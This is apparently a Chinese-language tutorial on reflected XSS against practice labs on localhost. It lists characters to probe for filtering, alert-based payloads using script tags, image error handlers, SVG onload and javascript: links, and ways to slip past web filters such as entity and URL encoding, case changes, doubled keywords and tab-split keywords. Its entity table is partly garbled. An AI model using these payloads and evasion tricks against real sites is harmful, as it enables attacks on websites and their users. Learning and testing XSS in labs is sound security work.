优秀的人,不是不合群,而是他们合群的人里面没有你
本篇文章只讨论反射性XSS的实现方法以及绕过waf的策略。
原理:对可以控制传参的位置,比如url链接中,输入框中,首先闭合输出参数位置前后网页标签,在闭合的中间加上JavaScript代码或者其他的html标签,使得网页能够执行你添加的参数功能。
主要思路
先找到闭合方式
找到过滤的标签
找到没有被过滤的标签
接下来是一些需要查看是否有过滤的元素
1. addd"
2. ad'
3. (aaa)
4. <aaa>
5. <script>
6. <onload>
7. <onerror>
8. adad:
9. alert
10. href
11. javascript
12. <script>
13. <a href>
14. onerror
15. alert(1)"
16. 'alert(1)'
17. javascript:
18. <img src>
19. onfocus
结合弹窗的方式利用未过滤的标签进行弹窗,有如下方式:
结合弹窗的方式利用未过滤的标签进行弹窗,
有如下方式:
直接弹窗:
<script>alert(1)</script>
<img src=xxxxx onerror='alert(2)'>
在标签内事件弹窗:
<img src=一个瞎几把地址 onerror='alert(1)'>
<input value="aaa onclick="alert(1)">
<svg onload='alert(1)'>
通过js代码弹窗
<input value="aaa" onmuosemove="confirm(1)">
<input value="aaa" onmuosemove="prompt(1)">
<a href=javascript:alert(1)>点我</a><>
绕过方法合集
转义
html中的转义:
显示结果:实体名称:实体编号
< : < : <
> : $gt; : >
" : "e; : "
' : %apos; : '
( :(
) : )
xss防御会把这些html中用来闭合的位置进行转义,这些转义后的符号在html的内容中并不会出现异常效果和原来的一样。但是有些位置即使没有引号闭合,如果中间有空格也会造成xss。
如果后端代码会把单引号替换或者屏蔽,可以用上面的实体名称或者实体编号代替,可以简单的绕过拦截。
即访问上面flask的网址也会出现弹窗:
127.0.0.1:5000/?id=<img src=hello onerror='alert(1)'/>
127.0.0.1:5000/?id=<img src='hello'onerror='alert(1)'/>
常用绕过waf
- 转义,即上面的标签转义,但是必须要用在标签里面
- 改变大小写
- hex,url编码
- 使用其他标签引用,比如onerror,onchange等
- 使用js自带的函数编码
- 使用 ` 代替括号
- 被替换成空,可以双写带入比如scrscriptipt,oonnclick
使用svg标签插入,可以绕过注释
<svg onload=";alert('插入svg标签成功~')">
<>闭合框被转意,绕过
当><被自动转化,可以用别的事件触发弹窗,从而不用到<>
比如
value = 'a' onfocus='alert()
value = 'a' oninput='alert()
value = 'a' onclick='alert()
转义,即上面的标签转义,但是必须要用在标签里面
输入框内被转义
使用单引号或者双引号闭合输入,然后在优先条件内输出弹窗指令
JS特殊制表符
使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行
http://127.0.0.1/xss/level8.php?keyword=javas%09cript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0acript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0dcript:alert()
第八题